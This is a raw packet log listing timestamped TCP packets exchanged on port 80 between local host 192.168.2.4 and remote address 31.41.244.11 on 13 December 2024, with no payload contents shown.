Dec 13, 2024 01:51:11.694921970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.695718050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.695772886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.695864916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.695916891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.696681976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.696733952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.696834087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.696882010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.697655916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.697709084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.697746038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.697801113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.698621988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.698678017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.698725939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.698775053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.699603081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.699660063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.699701071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.699748993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.700647116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.700702906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.700752020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.700826883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.701567888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.701632023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.701667070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.701719046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.702522039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.702580929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.702630043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.702683926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.703526020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.703674078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.703743935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.704502106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.704673052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.704732895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.705487967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.705548048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.705663919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.705758095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.706429005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.706491947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.706564903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.706619978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.707396030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.707453966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.707555056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.707611084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.708370924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.708432913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.708508968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.708569050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.709352016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.709414005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.709461927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.709517002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.710323095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.710381985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.710431099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.710486889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.711318970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.711397886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.711425066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.711497068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.712268114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.712327957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.712392092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.712450027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.713231087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.713288069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.713434935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.713490963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.714334011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.714390993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.714438915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.714497089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.715223074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.715282917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.715306044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.715368986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.716207027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.716267109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.716361046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.716418028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.717149019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.717206955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.717250109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.717304945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.718120098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.718178034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.718228102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.718283892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.719094992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.719166994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.719211102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.719774008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.720062017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.720163107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.720175028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.720284939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.721071959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.721143007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.721179962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.721370935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.722018957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.722081900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.722131014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.722239017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.723009109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.723104954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.723195076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.723968029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.724092960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.724157095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.724944115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.725066900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.725131989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.725950003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.726051092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.726083994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.726121902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.726906061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.726962090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.727010965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.727062941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.727873087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.727997065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.728049994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.728856087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.728974104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.729029894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.729840040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.729950905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.730005026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.730812073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.730925083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.730978012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.731753111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.731913090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.731969118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.732800961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.732942104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.732999086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.733730078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.733834982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.733894110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.734689951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.734817982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.734894991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.735816956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.735877037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.735943079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.736685991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.736766100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.736824989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.737617970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.737746000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.737771034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.737814903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.738589048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.738655090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.738698006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.739578009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.739648104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.739680052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.740550995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.740627050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.740665913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.741452932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.741513968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.882631063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.882687092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.882746935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.882800102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.883023977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.883088112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.883121014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.883177042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.883960962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.884017944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.884062052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.884119034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.884924889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.884991884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.885032892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.885082960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.885893106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.885950089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.885997057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.886050940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.886821032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.886878967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.886948109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.887008905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.887828112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.887887001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.887923002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.887976885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.888868093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.888931990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.888955116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.889005899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.889780998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.889834881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.889892101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.889942884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.890862942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.890876055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.890935898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.891714096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.891839027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.891874075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.891902924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.892695904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.892755985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.892816067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.892874002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.893706083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.893764973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.893800020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.893851042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.894660950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.894718885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.894781113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.894857883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.895625114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.895675898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.895750999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.895801067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.896595001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.896648884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.896692038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.896744013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.897568941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.897625923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.897666931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.897718906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.898550034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.898602009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.898627043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.898689032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.899523973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.899590015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.899662971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.899714947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.900511026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.900568962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.900612116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.900661945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.901463032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.901551962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.901571989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.901622057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.902463913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.902525902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.902568102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.902621031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.903409004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.903529882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.903568029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.903625011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.904364109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.904419899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.904486895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.904536963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.905390978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.905453920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.905478001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.905527115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.906327009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.906388998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.906424999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.906476974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.907324076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.907368898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.907381058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.907408953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.908298969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.908351898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.908397913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.908448935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.909262896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.909322977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.909367085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.909451008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.910258055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.910315990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.910378933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.910433054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.911242008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.911293030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.911334991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.911384106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.912209034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.912267923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.912308931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.912358999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.913175106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.913228989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.913237095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.913284063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.914133072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.914187908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.914225101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.914280891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.915101051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.915163994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.915199995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.915251017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.916063070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.916122913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.916162014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.916213989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.917057037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.917114973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.917141914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.917191982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.918021917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.918078899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.918114901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.918164968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.918987989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.919050932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.919114113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.919176102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.919965029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.920026064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.920063019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.920120001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.920952082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.921008110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.921077013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.921130896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.921905041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.921958923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.922029972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.922084093 CET	49765	80	192.168.2.4	31.41.244.11
